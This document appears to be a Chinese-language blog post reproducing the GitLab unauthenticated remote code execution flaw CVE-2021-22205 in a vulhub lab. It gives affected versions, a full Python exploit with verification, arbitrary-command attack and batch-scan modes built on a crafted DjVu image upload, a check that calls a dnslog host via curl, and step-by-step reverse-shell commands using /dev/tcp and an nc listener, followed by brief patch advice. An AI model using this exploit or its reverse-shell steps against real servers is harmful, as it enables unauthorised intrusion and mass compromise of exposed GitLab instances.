简述

由于 GitLab 某些端点路径无需授权,攻击者可在无需认证的情况下完成图片上传,从而执行任意命令。

影响版本

11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3

复现

靶机:https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/docker-compose.yml

docker-compose up -d

2021-12-19T06:23:00.png

poc

https://github.com/Al1ex/CVE-2021-22205

import requests
from bs4 import BeautifulSoup
import base64
import random
import sys
import os
import argparse

requests.packages.urllib3.disable_warnings()


def title():
    print("""
      ______     _______     ____   ___ ____  _      ____  ____  ____   ___  ____  
     / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ \|___ \|___ \ / _ \| ___| 
    | |    \ \ / /|  _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \ 
    | |___  \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
     \____ |  \_/  |_____|   |_____|\___/_____|_|    |_____|_____|_____|\___/|____/ 
                                     Author:Al1ex@Heptagram
                                Github:https://github.com/Al1ex                             
        """)
    print('''
        验证模式:python CVE-2021-22205.py -v true -t target_url 
        攻击模式:python CVE-2021-22205.py -a true -t target_url -c command 
        批量检测:python CVE-2021-22205.py -s true -f file 
        ''')


def check(target_url):
    session = requests.Session()
    try:
        req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(req1.text, features="lxml")
        token = soup.findAll('meta')[16].get("content")
        data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{curl `whoami`.82sm53.dnslog.cn} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Connection": "close",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
            "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
        flag = 'Failed to process image'
        req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req2.text:
            print("[+] 目标 {} 存在漏洞".format(target_url))
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print(e)


def attack(target_url, command):
    session = requests.Session()
    try:
        req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(req1.text, features="lxml")
        token = soup.findAll('meta')[16].get("content")
        data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{" + command + "} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Connection": "close",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
            "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
        flag = 'Failed to process image'
        req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req2.text:
            print("[+] 目标 {} 存在漏洞".format(target_url))
            print("[+] 请到dnslog或主机检查执行结果")
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print(e)


def scan(file):
    for url_link in open(file, 'r', encoding='utf-8'):
        if url_link.strip() != '':
            url_path = format_url(url_link.strip())
            check(url_path)


def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL 错误 {0}'.format(url))


def main():
    parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
    parser.add_argument('-v', '--verify', type=bool, help=' 验证模式 ')
    parser.add_argument('-t', '--target', type=str, help=' 目标URL ')

    parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')
    parser.add_argument('-c', '--command', type=str, help=' 执行命令 ')

    parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')
    parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')

    args = parser.parse_args()

    verify_model = args.verify
    target_url = args.target

    attack_model = args.attack
    command = args.command

    scan_model = args.scan
    file = args.file

    if verify_model is True and target_url is not None:
        check(target_url)
    elif attack_model is True and target_url is not None and command is not None:
        attack(target_url, command)
    elif scan_model is True and file is not None:
        scan(file)
    else:
        sys.exit(0)


if __name__ == '__main__':
    title()
    main()

2021-12-19T07:26:58.png

exp

先写入反弹shell信息到sh文件

python CVE-2021-22205.py -a true -t http://192.168.223.129:8080 -c "echo 'bash -i >& /dev/tcp/192.168.223.1/966 0>&1' > /tmp/1.sh"

然后给文件权限

python CVE-2021-22205.py -a true -t http://192.168.223.129:8080 -c "chmod +x /tmp/1.sh"

然后再攻击机监听端口

nc -lvvp 966

再执行exp

python CVE-2021-22205.py -a true -t http://192.168.223.129:8080 -c "/bin/bash /tmp/1.sh"

反弹shell成功
2021-12-19T07:33:41.png

修复

升级GitLab到最新安全版本
配置访问控制策略,避免受影响的GitLab暴露在公网
最后修改:2021 年 12 月 19 日 03 : 33 PM
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